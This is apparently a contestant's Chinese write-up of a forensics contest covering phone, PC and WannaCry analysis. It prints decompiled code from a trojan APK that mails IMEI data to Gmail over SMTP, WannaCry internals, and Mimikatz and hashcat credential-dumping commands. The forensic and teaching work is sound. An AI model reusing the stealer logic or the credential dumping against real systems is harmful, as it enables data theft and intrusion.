跳转至

第二届 龙信杯电子数据取证大赛 题解

Author

NoahTie@猫猫啥也不会

比赛信息

说明

检材下载连接等信息来自于 DIDCTF 平台, 感谢 DIDCTF 平台提供的比赛资料与在线练习环境.

写在前面

龙信杯这套题做下来给我的感受就是: 坑. 出题人有意无意地挖了很多坑, 做题时很容易找到错误或不完全的答案.

感觉是"学到了点东西, 但学到东西又不太可能".

不建议新入门取证的同学做这套题.

案情介绍

近期, 某公安机关接到受害人报案: 通过微信添加认识一位相亲中介客服, 客服邀约其与"相亲"对象进行选妃, 受害人上钩后, 整个过程被涉案团伙录音录像, 同时, 该客服以有更多的对象可供挑选为由, 引导受害人下载其事先制作好的木马 APP, 受害人安装该 APP 后, 嫌疑人利用录制的视频和受害人的通讯录做要挟, 从而实施多次诈骗. 最终受害人不堪重负, 选择报案.

警方赶到现场后, 发现涉案团伙参与另一起侵公案件, 故迅速对现场设备进行证据固定制作镜像, 并制作以下检材清单, 请对检材分析:

序号 检材信息 检材大小 检材哈希(MD5)
1 受害人手机检材.dd 24,226,000,896 字节 f0fcbf82c134b5c47aac5355b74a83d8
2 涉案计算机检材.E01 12,510,412,800 字节 43d8b3820cd5103b42773b80140939aa
3 涉案服务器检材.E01 8,471,552,000 字节 6f970587231acbae7333b28168adc3b3
4 数据流量包.pcapng 17,334,272 字节 7847c2ee62660ea0696d99125d997628

检材信息

下载链接: https://pan.baidu.com/s/1K9dLKWLBsx9m0za2WcamFA?pwd=7ez0

哈希值: MD5: 60a9ddcf1343640bdde89b143c5324b9

挂载/解压密码: MjAyNOm+meS/oeadrw==

手机取证

01 此手机共通过 adb 连接过几个设备

答案

2

adb 每次连接新设备时, 都会生成唯一的签名证书 key, 存储在逻辑位置 /misc/adb 中.

Pasted image 20250908100956.png

在 ALEAPP 中, adb_host 插件的报告中只显示 ADB 连接的用户名和主机名, 不显示签名值. 可以对脚本进行简单修改以显示签名值:

Pasted image 20250908101749.png

02 机主参加考试的时间

答案

2024-08-23

考试时间可能存在于以下几个位置:

  • 日历的数据库
  • 备忘录(笔记)的数据库
  • 校园 APP 的数据库

该设备上存在 2 个日历 APP, 分别是安卓设备自带的日历存储(来自谷歌 AOSP, com.android.calendar)和设备供应商提供的日历应用(来自 miui, com.provider.calendar). 前者数据库为空, 后者存储的日程不包含"考试":

Pasted image 20250908102639.png

在备忘录(com.miui.notes)的数据库中可以看到"考试"关键词:

Pasted image 20250908102802.png

data 中:

Pasted image 20250908102902.png

note 中:

Pasted image 20250908103937.png

这 2 个表中的数据作用与来源不同:

  • data 表中: 是备忘录 APP 根据笔记的内容生成的预览文件, 其创建/修改时间是 APP 内数据刷新的时间.
  • note 表中: 是备忘录中保存的原始数据, 随备忘录内容修改而更新.

note 表中的 modified_date 字段的时间戳转换为 datetime:

Python
from datetime import
datetime

modified_date = datetime.fromtimestamp(1723427660361//1000)
# -> datetime.datetime(2024, 8, 12, 9, 54, 20)
modified.weekday()
# -> 0

这天是周一, 下周五就是 11 天后, 是 2024-08-23.

03 手机的蓝牙 Mac 地址

答案

48:87:59:76:21:0f

蓝牙配置文件存储在逻辑存储的 /misc/bluedroid/bt_config.conf 文件中:

Pasted image 20250908105319.png

04 压缩包加密软件共加密过几份文件

答案

6

手机上安装的压缩工具是 com.zs.filecompress, 但其数据目录 /data/com.zs.filecompress/media/0/Android/data/com.zs.filecompress 中均没有保存历史记录.

只能去寻找手机中存储的压缩文件, 位于目录 /media/0/FileComperss 中, 还是比较明显的:

Pasted image 20250908110237.png

6 个 txt 文件实际上都是带加密的 PKZIP 文件.

05 机主的另外一个 155 的手机号码是

答案

15599555555

导出 com.zs.filecompress 的 APK 包(\app\~~_jzJxEiovvVW2OdDRNs_dw==\com.zs.filecompress-rGjcoW-RV_xJmIwAD522NA==\base.apk), 丢进 JEB 分析一下. 在 MainActivity 中看到以下代码:

Pasted image 20250908112958.png

在构造 ZipFile 类实例时将 1!8Da9Re5it2b3a. 字符串作为第 1 个参数传入.

Pasted image 20250908113909.png

跟进之后发现类中字符串命名为 password. 在 addFiles 方法中使用了密码对文件进行加密:

Pasted image 20250908114158.png

使用 1!8Da9Re5it2b3a. 作为密码即可解压上题中找到的压缩文件. 其中 2 个文件中存在有价值的信息:

Pasted image 20250908114351.png

Pasted image 20250908114357.png

06 手机存在一个加密容器,容器密码是

答案

d7Avsd!Y]u}J8i(1bnDD@<-o

见上题.

07 接上问,容器中存在一份成员名单,嫌疑人曾经误触导致表格中的一个成员姓名被错误修改,这个成员的原始正确姓名

答案

陆俊梅

在手机的下载目录 \media\0\Download 中找到 1 个大小为 10MB 的 data 文件. 16 进制查看后发现其内容无规律, 疑似加密容器:

Pasted image 20250908133239.png

导出并使用 VeraCrypt 挂载时报错:

Pasted image 20250908133533.png

估计是个 TrueCrypt 容器, 新版本的 VeraCrypt 停止了对 TC 容器的支持. 用 TrueCrypt 挂载成功:

Pasted image 20250908133934.png

有 1 个 Excel 文档, 应该就是题目中提及的表格. 还有 1 个扩展名为 jpg 的文件, 图片大小(757x477 pixel)与文件大小(420KB)不符, 猜测有隐藏数据. 用 010 Editor 查看发现 PNG 尾(IEND)之后还有一大块未知数据:

Pasted image 20250908134610.png

检查数据, 发现其文件签名(D0 CF 11 E0 A1 B1 1A E1)是 OLESS 格式的 Office 文档, 数据中包含 Excel 文档的特征:

Pasted image 20250908134744.png

将额外数据导出为 xls 文件并打开. 发现里面是个巨大的用户邀请表, 应该是通过对照邀请人和注册用户的信息, 可以核对出同一手机号的不同姓名. 写一个简单的 python 脚本:

Pasted image 20250908140914.png

应该是真实姓名"陆俊梅"被修改成了"陆陆".

08 接上题,该成员的对应的最高代理人是谁(不考虑总部)

答案

刘珏兰

Pasted image 20250908143356.png

Pasted image 20250908143344.png

09 在该组织中,最高层级的层次是

答案

12

需要用手机号作为用户标识, 而不是姓名, 因为姓名中存在"作废", "注销"等:

Pasted image 20250908151152.png

写一个深搜:

Python
import csv

file = open("./名单数据.csv", "r", encoding="utf-8")
csv_reader = csv.reader(file)
invite_dict = {}
for row in csv_reader:
    inviter = row[4]
    name = row[1]
    invite_dict.setdefault(inviter, []).append(name)

def dfs(name, depth):
    if name not in invite_dict:
        return depth
    return max(dfs(child, depth + 1) for child in invite_dict[name])

max_depth = dfs("1", 1)
print(f'Depth: {max_depth}')

10 第二层级(从总部开始算第一级)人员最多的人是多少人

答案

1065

还是写代码统计:

Python
 def max_inviter_at_level(target_level):
    from collections import deque, defaultdict
        queue = deque([("1", 1)])
        level_invite_count = defaultdict(int)
        while queue:
            current, depth = queue.popleft()
            if depth == target_level:
                level_invite_count[current] = len(invite_dict.get(current, []))
            for child in invite_dict.get(current, []):
                queue.append((child, depth + 1))
        if not level_invite_count:
            print(f"{target_level} -> None")
            return None
        max_inviter = max(level_invite_count, key=lambda k: level_invite_count[k])
        print(f"{target_level} -> {max_inviter}, {level_invite_count[max_inviter]}")
        return max_inviter, level_invite_count[max_inviter]

max_inviter_at_level(3)
# -> 3 -> 13883739096, 1065

11 机主共开启了几款 APP 应用分身

答案

2

miui 提供了 APP 分身功能, 原理是将 APK 的包名修改为 <原始包名>-1 并重新签名, 以此避免与原始 APK 包名冲突.

在应用数据目录并没有找到包名中包含 "-1" 的 APP, 猜测是使用了第三方的 APP 分身工具. 在应用数据目录中发现包名 com.qh.privacysec, 疑似与隐私保护相关:

Pasted image 20250908154712.png

在应用数据目录 /data/com.qh.privacysec/database 中存在名为 fenshen.db 的数据库:

Pasted image 20250908154804.png

导出并查看, 包含 2 条记录:

Pasted image 20250908154927.png

12 机主现在安装了几款即时通讯软件(微博除外)

答案

4

手机实机上安装了 2 个:

Pasted image 20250909110611.png

VMOS 虚拟机 ot2 中安装了 2 个, 应用数据位于 /data/com.vmos.pro/osimg/r/ot.02/data/data 目录:

Pasted image 20250909111432.png

13 勒索机主的账号是多少(非微信 ID)

答案

12233444555

本题存疑

本题的题目描述或许有误: 题目描述存在疑义.

正确的题目描述应为: "勒索机主的微信用户, 要求受害人转账至哪个账号"

关于微信数据库解密可以参考 2025 FIC 初赛的题解.

这里有所不同, 检材中微信的数据目录中缺少了 shared_prefs 目录, 因此无法直接获取 IMEI 和 UIN 信息.

IMEI 的获取可以参考文章 微信新版本数据库解密分析 - WXjzc. 使用密钥 _wEcHAT_/data/com.tencent.mm/files/KeyInfo.bin 进行解密:

Pasted image 20250909114154.png

微信高版本中使用了腾讯自研的 MMKV 数据库, 本质上是一个极简化的键值对数据库, 参考 Tencent/MMKV: An efficient, small mobile key-value storage framework developed by WeChat.. 可以使用 spak9/mmkv_visualizer: A web application that will allow you to visualize MMKV databases, with all processing done client-side. 来比较直观地读取 MMKV 数据库.

/data/com.tencent.mm/files/mmkv 目录中存储着 MMKV 数据库. 其中 system_config_prefs 中存储着用户的 UIN 信息:

Pasted image 20250909155719.png

数据库密钥是 md5(IMEI + UIN) 前 7 位 16 进制数:

Python
from hashlib import md5

md5(b"1234567890ABCDEF" + b"326674411").hexdigest()[:7]
# -> 'd5d90f2'

连接数据库参考 2025 FIC 初赛的题解, 连接时需要指定参数.

Pasted image 20250909164949.png

提到要换个 IM, 去设备上安装的其他几个 IM 的聊天数据里找找.

默往(com.mostone.life)的数据库也有加密, 密钥是 md5(uid) 的前 6 位 16 进制. UID 可以在 /data/com.mostone.life/shared_prefs/im.xml 中找到:

Pasted image 20250909170632.png

与微信数据库类似, 连接时需要指定使用 sqlcipher3:

SQL
PRAGMA cipher_compatibility = 3

连接后在 im_message 表中看到相关信息:

Pasted image 20250909180157.png

这里有 2 个账号信息:

  • 支付宝: 12233444555
  • 默往: 1836042664454131712

14 接上问,机主通过此应用删除过几个聊天记录

答案

1

接上题, 聊天记录表中有 1 条记录的 delStatus2, 其余均为 NULL, 判断这条消息被删除:

Pasted image 20250909181545.png

15 会盗取手机信息的 APP 应用包名是

答案

com.lxlxlx.luoliao

之前也看到了, 有 1 个包名为 com.lxlxlx.luoliao 的 APK 包:

Pasted image 20250909181733.png

该 APK 包名与嫌疑人在微信发送给受害者的 APK 包的包名一致:

Pasted image 20250909182556.png

16 该软件作者预留的座机号码是

答案

40085222666

APP 的主入口是 com.gass.mobileH.MainActivity, 在类中看到由 Base64 编码的字符串, 以及调用这些字符串的函数:

Pasted image 20250909183202.png

Java
s0 = "4SLYY9lHJ2SnY4PTeoNuPQ==";
b.b.a.a.a(mainActivity0.s0.getBytes(),"E10ADC3949BA59ABBE56E057F20F883E".getBytes())

跟进 b.b.a.a.a 函数:

Pasted image 20250909183341.png

整个类恢复符号表之后大概是:

Java
public class AESDecryptor {
    public static byte[] defaultIV;

    static {
        AESDecryptor.defaultIV = new byte[16];
    }

    public static byte[] decrypt(byte[] arr_b, byte[] arr_b1) {
        if(arr_b == null || arr_b.length == 0 || arr_b1 == null || arr_b1.length < 16 || AESDecryptor.defaultIV.length < 16) {
            throw new InvalidParameterException();
        }

        byte[] arr_b2 = Base64.decode(arr_b, 0);
        IvParameterSpec ivParameterSpec0 = new IvParameterSpec(new String(arr_b1).substring(0, 16).getBytes());
        SecretKeySpec secretKeySpec0 = new SecretKeySpec(arr_b1, "AES");
        Cipher cipher0 = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher0.init(2, secretKeySpec0, ivParameterSpec0);
        return cipher0.doFinal(arr_b2);
    }
}

实际上是使用 PKCS5 Padding 的 AES-CBC-256 加密, 传递的第 1 个参数是密文, 第 2 个参数的前 16 字节是 IV, 第 2 个参数整体做密钥.

接着用 CyberChef 或 Python 进行解密:

Python
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad, pad

key = b"E10ADC3949BA59ABBE56E057F20F883E"
iv = b"E10ADC3949BA59AB"
enc = b"4SLYY9lHJ2SnY4PTeoNuPQ=="
cipher = AES.new(key, AES.MODE_CBC, iv)
dec = cipher.decrypt(pad(b64decode(enc), AES.block_size))
try:
    dec = unpad(dec, AES.block_siz)
except:
    pass
dec
# -> b'/forensic.xml'

对所有加密字符串解密(最后 2 个字符串需要拼接起来解密):

Text Only
/forensic.xml
/forensical.xml
1304567895@gmail
1304567895@gmail.com
软件有问题,请联系boss电话:40085222666

17 接上题,恶意程序偷取数据的收件邮箱地址的 gmail 邮箱是

答案

1304567895@gmail.com

查看上题中邮箱的加密字符串的交叉引用, 找到 GET 的位置:

Pasted image 20250910114940.png

Pasted image 20250910115148.png

Java
arrayList0 = {"13024169815@189.cn", "1304567895@gmail.com"};
arrayList0 = {ContentOfFile}

2 个数组和包含 IMEI 等信息的字符串被传送到 b.b.a.g.a 类的实例. 跟进该类, 对符号表进行恢复:

Java
public class EmailSender {
    public i message;
    public Properties properties;
    public String encryptedHost;
    public String encryptedUsername;
    public String encryptedPassword;

    public EmailSender() {
        this.properties = new Properties();
        this.encryptedHost = "vYyjDLnOMdPvDhyqxr41zQ==";
        this.encryptedUsername = "EX0dgp0EDZ9v3yE9hX2mQcMa9DPzJQ/LPkZDKyiDH64=";
        this.encryptedPassword = "kbLBbvDVyghScP1Jy6bK7A==";
    }

    public final boolean initializeSmtpConfig() {
        try {
            this.properties.put("mail.smtp.host", new String(AESDecryptor.decrypt(this.encryptedHost.getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes())));
            this.properties.put("mail.smtp.auth", "true");
            this.properties.put("mail.transport.protocol", "smtp");
            this.properties.put("mail.smtp.starttls.enable", "true");
            this.properties.put("mail.smtp.ssl.checkserveridentity", "false");
            this.properties.put("mail.smtp.ssl.trust", new String(AESDecryptor.decrypt(this.encryptedHost.getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes())));
            this.message = new i();
            return true;
        }
        catch(Exception exception0) {
            exception0.printStackTrace();
            return false;
        }
    }

    public final boolean sendEmail(String s, String s1, List list0, List list1) {
       // snip
    }
}

对几个加密字符串进行解密, 得到:

Text Only
smtp.gmail.com
temp1234@gmail.com
qwer123456

分别是 SMTP 服务器的 URL, 用户名和口令.

18 接上题,恶意程序偷取数据的发件邮箱地址是

答案

temp1234@gmail.com

见上题.

19 接上题,恶意程序偷取数据的发件邮箱密码是

答案

qwer123456

见上题.

20 恶意程序定义收发件的地址函数是

答案

b

见上题.

计算机取证

01 嫌疑人在将其侵公数据出售前在 Pycharm 中进行了 AES 加密,用于加密的 key 是

答案

65B2564BG89F16G9

加密脚本位于 Partition 2/Python/encrypted/encrypted.py:

Pasted image 20250910125336.png

目录中有同名的 FileSlack 扩展名文件, 开启了 Windows 基于 NTFS 的加密(Encrypting File System, EFS). 在 FTK Imager 中使用 EFS 加密检测功能可以识别出被加密的文件:

Pasted image 20250916092052.png

FileSlack 勒索病毒

还有一种名为 FileSlack 的勒索病毒, 会将文件加密并添加 FileSlack 扩展名. 但与开启了 EFS 的情况很容易区分: 勒索病毒会删除源文件, 只剩下加密后的 FileSlack 文件, 且该文件为常规文件; EFS 加密后会在取证工具中看到原始文件及 FileSlack 文件.

Pasted image 20250910125512.png

对系统仿真后查看文件, 这时系统将自动使用原始设备中的证书进行解密. 在线环境下火眼仿真可以云端获取用户口令:

Pasted image 20250911093453.png

之后打开 Python 脚本查看即可:

Pasted image 20250911094357.png

如果在离线环境无法使用云端数据库获取用户口令, 需要使用 Mimikatz 从 SAMSYSTEM hive 文件(位于 %systemroot%/System32/config 目录)中提取 NTML 哈希, 之后用 HashCat 字典/弱口令爆破.

使用 Mimikatz 提取 NTML hash:

PowerShell
sudo mimikatz.exe 
# Win11 with sudo, or gsudo installed. 
# Otherwise, use elevated powershell or cmdline.

在 Mimikatz 命令行中:

Text Only
privilege::debug
lsadump::sam /system:/PATH/TO/SYSTEM /sam:/PATH/TO/SAM

得到 NTLM hash 为 1699741e90e0be37532c22fe84baefe8:

Pasted image 20250911100945.png

使用 HashCat 字典爆破口令:

PowerShell
hashcat -m 1000 -a 0 -d 1 '1699741e90e0be37532c22fe84baefe8' PATH\TO\DICT

Pasted image 20250911102012.png

02 身份证为 "371963195112051505" 这个人的手机号码是

答案

15075547510

在登录仿真系统的用户之后, 可以通过命令行对 E 盘中的全部加密数据进行解密, 以便后续导出文件进行分析:

PowerShell
cipher /d /s:E:

Pasted image 20250911103050.png

照着 encrypted.py 写一个解密脚本:

Python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def aes_decrypt(encrypted_hex, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypted_data = bytes.fromhex(encrypted_hex)
    decrypted_padded = cipher.decrypt(encrypted_data)
    decrypted_data = unpad(decrypted_padded, AES.block_size)
    return decrypted_data.decode()

def process_decrypt(input_file, output_file, key, iv):
    with open(input_file, "r") as f_in, open(output_file, "w") as f_out:
        for line in f_in:
            parts = line.strip().split(',')
            index = parts[0]
            f_out.write(index + ",")
            decrypted_parts = []
            for part in parts[1:]:
                decrypted_part = aes_decrypt(part, key, iv)
                decrypted_parts.append(decrypted_part)
            f_out.write(",".join(decrypted_parts) + "\n")


key = b'65B2564BG89F16G9'
iv = b'83E6CBEF547944CF'

process_decrypt("encrypted_data.txt", "decrypted_data.csv", key, iv)

Pasted image 20250911105805.png

除了用 Python 之外, 还可以使用 Navicat 将 csv 文件导入到数据库后进行分析.

03 对解密后的身份证数据列进行单列去重操作,重复的身份证号码数量是(身份证不甄别真假)

答案

0

写一个 Python 脚本统计:

Python
import csv
file = open("./decrypted_data.csv", "r", encoding="gbk")
csv_reader = csv.reader(file)
ids = {}
for row in csv_reader:
    id_no = row[2]
    if id_no not in ids:
        ids[id_no] = 1
    else:
        ids[id_no] += 1
 for id_no, count in ids.items():
     if count != 1:
         dup_id_count += 1
     dup_count += count - 1

dup_count
# -> 0
dup_id_count
# -> 0    

没有重复的身份证号.

04 接上题,根据身份证号码(第 17 位)分析性别,男性的数据是多少条

答案

5001714

继续使用 Python 统计:

Python
for id_no in ids.keys():
     if int(id_no[16]) % 2:
         male_count += 1

male_count
# -> 5001714

05 接上题,对密后的数据文件进行分析,甄别身份证号码性别值与标识性别不一致的数量是

答案

5001185

继续使用 Python 统计:

Python
file = open("./decrypted_data.csv", "r", encoding="gbk")
csv_reader = csv.reader(file)

for row in csv_reader:
     id_no, gender = row[2], row[-1]
     gender_from_id = "男" if int(id_no[16]) % 2 else "女"
     if gender != gender_from_id:
         gender_mis_count += 1

gender_mis_count
# -> 5001185

06 计算机中存的 “VPN” 工具版本是

答案

4.4

E:/WinXray 目录下存储着 WinXray 的程序文件. 在仿真系统中运行即可看到版本:

Pasted image 20250911111801.png

07 计算机中存的 “VPN” 节点订阅地址是

答案

https://paste.ee/d/4eIzU

WinXray 的应用数据存储在 C:\Users\Administrator\AppData\Local\WinXray 目录下, 其中的 Proxy.table 中存储有订阅信息:

Pasted image 20250911112742.png

08 eduwcry 缩包文件的解压密码是

答案

yasuomima

这个题是真的想不到了, 参考了 jzc 的 WP 才知道, 压缩密码要在搜狗输入法的词库里面找.

Python
import struct  

file = "./sgim_gd_usrbg.bin"  
with open(file, "rb") as f:  
    f.seek(0x40) 
    byte0 = f.readline()
    start = struct.unpack("<I", byte0[:4])[0]
    f.seek(start, 0)  
    byte = f.read()  
    index = 0  
    while True:  
        index += 8  
        byte1 = byte[index : index + 2]
        blen = struct.unpack("<H", byte1)[0]
        if blen == 0:  
            break  
        string = byte[index + 2 : index + 2 + blen] 
        string = string.decode(encoding="utf-16le", errors='ignore') 
        index = index + 2 + blen
        byte2 = byte[index : index + 2]
        len2  = struct.unpack("<H", byte2)[0] 
        index = index + 2 + len2 
        print(string)

用户词库的内容:

Text Only
bing
夜神
chinese
pip
Python
pi
abc
edu
WA
压缩
压缩密码
同意
通用
yasuo
NOX
yasuomima
data
databackup
容器
容器密码
企鹅二退哦拍
dd
生日
订阅
订阅地址

用用户词库当字典爆破压缩包可以找到密码是 yasuomima :

Pasted image 20250911144110.png

09 接上题,恶意程序释放压缩包的 md5 值是

答案

b576ada3366908875e5ce4cb3da6153a

提示

这部分的题目是真实的 WANACRY 勒索病毒, 逆向难度较高. 比赛时更推荐使用沙箱检测应用行为.

一定要逆向的话, 在虚拟机/沙箱里动调的难度低于静态.

出题人未对病毒样本做任何修改, 因此可以在微步在线沙箱直接根据哈希值查到报告: 样本报告-微步在线云沙箱.

这里提供静态分析的过程, 算是简单检测一下自己的逆向能力吧.

另外, 我并不是逆向手(真正的逆向手是 @BlackBird), 因此可能各种地方会存在一下小错误, 请多包涵.

用 MalCat 加载二进制文件 wcry.exe, 发现有 1 个 PKZIP 文件:

Pasted image 20250911150332.png

导出该压缩包.

10 接上题,请恶意程序记录的洋葱浏览器下载地址是

答案

https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip

IDA 加载 wcry.exe, 在程序主入口 WinMain(x,x,x,x) 函数伪代码:

Pasted image 20250911152456.png

sub_401DAB 的第 2 个参数是一个字符串, 查看值为 WNcry@2ol7:

Pasted image 20250911152638.png

跟进该函数.

Pasted image 20250911155253.png

判断函数的第 2 个参数为 PKZIP 的解压密码, 对该压缩包进行解压(可执行文件添加了 .malware 扩展名):

Pasted image 20250911160313.png

c.wnry 中存在 5 个 onion 地址和 1 个 URL:

Pasted image 20250911160516.png

该 URL 为 TorBrowser 的下载地址.

11 接上题,恶意程序解密了 t.wnry 后该 dll 的 md5 值是

答案

F351E1FCCA0C4EA05FC44D15A17F8B36

重新整理整个主入口函数:

Pasted image 20250911163429.png

导入解密密钥的函数 sub_401437 :

Pasted image 20250911163744.png

继续跟进 sub_401861:

Pasted image 20250913130431.png

其中的 unk_40EBF8 位置的数组即为解密密钥, 跟进, 看到是 RSA 的 KEY 文件, 在 Hex View 中导出到文件:

Pasted image 20250911164259.png

回到函数 sub_401861, 继续跟进 CryptImportKey 函数, 发现该函数是一个导入函数(从 advapi32.dll 动态加载):

Pasted image 20250913130647.png

由此判断该 RSA Key 是一个由 WinAPI (wincrypt) 中的 CryptExportKey 生成的 BLOB RSA 密钥. 微软的文档中对其结构定义如下(参考 RSA/Schannel Key BLOBs):

C++
PUBLICKEYSTRUC  publickeystruc ;
RSAPUBKEY       rsapubkey;
BYTE            modulus[rsapubkey.bitlen/8];
BYTE            prime1[rsapubkey.bitlen/16];
BYTE            prime2[rsapubkey.bitlen/16];
BYTE            exponent1[rsapubkey.bitlen/16];
BYTE            exponent2[rsapubkey.bitlen/16];
BYTE            coefficient[rsapubkey.bitlen/16];
BYTE            privateExponent[rsapubkey.bitlen/8];

其中的 PUBLICKEYSTRUC 的结构如下(参考 PUBLICKEYSTRUC (wincrypt.h)):

C++
typedef struct _PUBLICKEYSTRUC {
  BYTE   bType;
  BYTE   bVersion;
  WORD   reserved;
  ALG_ID aiKeyAlg;
} BLOBHEADER, PUBLICKEYSTRUC;

其中的 RSAPUBKEY 的结构如下(参考 RSAPUBKEY (wincrypt.h)):

C++
typedef struct _RSAPUBKEY { 
DWORD magic; 
DWORD bitlen; 
DWORD pubexp; 
} RSAPUBKEY;

Python / CyberChef 都无法使用该格式的 RSA 密钥容器, 需要根据上述定义写一个 Python 脚本, 对密钥容器进行转换:

Python
# parseRSAKeyfromWinBLOB.py
from pathlib import Path
from io import BufferedReader
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Random import get_random_bytes

def read_bytes_parts(f: BufferedReader, parts: list[int]) -> tuple:
    bytes_parts = list()
    for part in parts:
        part_bin = f.read(part)
        part_int = int.from_bytes(part_bin, "little")
        bytes_parts.append(part_int)
    return tuple(bytes_parts)

def parse_rsa_win_blob(file: str) -> RSA.RsaKey:
    WIN_RSA_STRUCT_FIXED = [
        1,  # bType
        1,  # bVersion
        2,  # reserved
        4,  # ALG_ID
        4,  # magic
        4,  # bitlen
        4   # pubexp  
    ]
    win_blob = open(file, "rb")
    bType, bVersion, reserved, ALG_ID, magic, bitlen, pubexp = read_bytes_parts(win_blob, WIN_RSA_STRUCT_FIXED)
    assert magic == 843141970 # little endian of b"RSA2"

    bytelen = bitlen // 8

    WIN_RSA_STRUCT_COMPONENT = [
        bytelen,        # modulus
        bytelen // 2,   # prime1 -> p
        bytelen // 2,   # prime2 -> q
        bytelen // 2,   # exponent1
        bytelen // 2,   # exponent2
        bytelen // 2,   # coefficient
        bytelen         # privateExponent
    ]

    modulus, prime1, prime2, exponent1, exponent2, coefficient, privateExponent = read_bytes_parts(win_blob, WIN_RSA_STRUCT_COMPONENT)
    assert prime1 * prime2 == modulus

    RSA_component = (
        modulus, 
        pubexp, 
        privateExponent,
        prime1,
        prime2
    )

    RSAKey = RSA.construct(RSA_component)
    return RSAKey

def export_to_PEM(file_name: str|Path, key: RSA.RsaKey) -> None:
    key_bytes = key.export_key("PEM")
    with open(file_name, "wb") as f:
        f.write(key_bytes)

if __name__ == "__main__":
    rsa_key = parse_rsa_win_blob("./pbData.txt")
    export_to_PEM("./rsa.pem", rsa_key)

在程序主入口 WinMain(x,x,x,x) 函数伪代码中, 函数 sub_4014A6 的第 1 个参数为字符串 t.wnry:

Pasted image 20250911160710.png

跟进该函数:

Pasted image 20250913130314.png

该函数读取了 t.wnry 文件, 操作大致如下:

  • 8 Bytes 为文件签名 WANACRY!
  • 4 Bytes 为 Size, 该值应该为 0x100
  • 读取 Size (256) Bytes, 存入内存空间中, 为 RSA 加密的 AES 密钥
  • 4 Bytes 为 Buffer
  • 8 Bytes 为 dwBytes
  • RSA 解密 AES 密钥
  • 扩展 AES 密钥
  • 读取其余文件
  • AES 解密其余文件并存入内存空间
  • 返回内存空间地址

写一个 Python 脚本复刻该过程:

Python
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Random import get_random_bytes
from typing import Tuple
from bitstring import BitArray

class CCryptFile:
    def __init__(self, rsa_key: RSA.RsaKey, enc: bytes):
        self._rsa_key = rsa_key
        self._hcryptprov = True
        self.enc = enc
        self.dec = bytes()

    def DeCryptPrivateKey(self) -> Tuple[bool, int]:
        if not (self._hcryptprov and self._rsa_key and self.enc):
            return False, 0

        cipher = PKCS1_v1_5.new(self._rsa_key)

        sentinel = get_random_bytes(15)
        plaintext = cipher.decrypt(self.enc, sentinel)

        if plaintext == sentinel: 
            return False, 0

        out_len = len(plaintext)
        self.dec = plaintext
        return True, out_len

def _unpad_pkcs7(data: bytes) -> bytes:
    pad_len = data[-1]
    if pad_len < 1 or pad_len > AES.block_size:
        raise ValueError("Invalid padding")
    if data[-pad_len:] != bytes([pad_len]) * pad_len:
        raise ValueError("Invalid padding")
    return data[:-pad_len]

if __name__ == "__main__":
    with open("rsa.pem", "rb") as f:
            rsa_key = RSA.import_key(f.read())

    with open("enc", "rb") as f:
        encrypted = f.read()

    bits = BitArray(encrypted)
    bits.byteswap()
    encrypted = bits.tobytes()

    crypt = CCryptFile(rsa_key, encrypted)
    ok, out_len = crypt.DeCryptPrivateKey()
    if not ok:
        exit(1)

    key = crypt.dec
    iv = b"\x00" * 16 # Default IV

    with open("./t.wnry", "rb") as f:
        assert (Buf1 := f.read(8)) == b"WANACRY!"
        _ = f.read(4 + 256 + 4 + 8)
        data = f.read()

    cipher = AES.new(key, AES.MODE_CBC, iv=iv)
    plaintext = cipher.decrypt(data)  
    try:
        plaintext = _unpad_pkcs7(plaintext)
    except:
        pass

    print(f"{plaintext[:64] = }")
    with open("decrypted_dll", "wb") as f:
        f.write(plaintext)

解密出来瞬间火绒给杀了. HashMyFiles 算 MD5:

Pasted image 20250913131935.png

12 接上题,恶程序运行起来后第一个循环调用了几次 taskkill.exe

答案

5

回到 WinMain 里面:

Pasted image 20250913133118.png

v6 是加载的 t.wnry 的入口点, 函数 sub_402924 的第 2 个参数是字符串 TaskStart. 这里获取了一个函数地址.

可见病毒主程序的功能就是释放文件 & 加载 dll. 接下来的功能应该在 t.wnry 里. 用 IDA 加载之, 在导出表中找到了 TaskStart:

Pasted image 20250913133607.png

开启 String View, 搜索 taskkill:

Pasted image 20250913180158.png

查交叉引用, 找到唯一的一处调用是在 sub_100057C0 中:

Pasted image 20250913180251.png

关闭了几种 Win 平台主流的数据库进程.

13 接上题,@WanaDecryptor@.exe.lnk 文件是通过什么函数创建的

答案

CreateShortcut

还是在 String 里面找:

Pasted image 20250913180435.png

找到调用字符串的函数 sub_10004CD0:

Pasted image 20250913180700.png

生成了一个字符串 v6:

Bash
@echo off
echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbs
echo SET om = ow.CreateShortcut("/PATH/TO/@WanaDecryptor@.exe.lnk")>> m.vbs
echo om.TargetPath = "/PATH/TO/@WanaDecryptor@.exe">> m.vbs
echo om.Save>> m.vbs
cscript.exe /nologo m.vbs
del m.vbs

作用是通过运行 vbs 脚本为 @WanaDecryptor@.exe 生成一个快捷方式:

Text Only
SET ow = WScript.CreateObject("WScript.Shell")
SET om = ow.CreateShortcut("/PATH/TO/@WanaDecryptor@.exe.lnk")
om.TargetPath = "/PATH/TO/@WanaDecryptor@.exe"
om.Save

其中创建快捷方式的函数是 CreateShortcut.

14 接上题,恶程序修改系统桌面壁纸是在哪个函数实现的

答案

sub_10004F20

检视另外几个程序释放的 .wnry 文件后发现 b.wnry 是 BMP 格式的图片:

Pasted image 20250913182004.png

在 String View 中搜索 b.wnry:

Pasted image 20250913182040.png

找到调用该字符串的函数:

Pasted image 20250913182701.png

这里有点小问题, 看起来挺难受的, 修改一下变量的声明:

Pasted image 20250913182840.png

Pasted image 20250913182853.png

SystemParametersInfoW(0x14u, 0, Buffer, 1u); 的作用是修改桌面壁纸: SystemParametersInfoW 函数的参数是 SPI_SETDESKWALLPAPER (0x14) 和 SPIF_UPDATEINIFILE (1). 参考 SystemParametersInfoW function (winuser.h).

15 VeraCrypt 加密容器的密码是

答案

qwertyuiop1

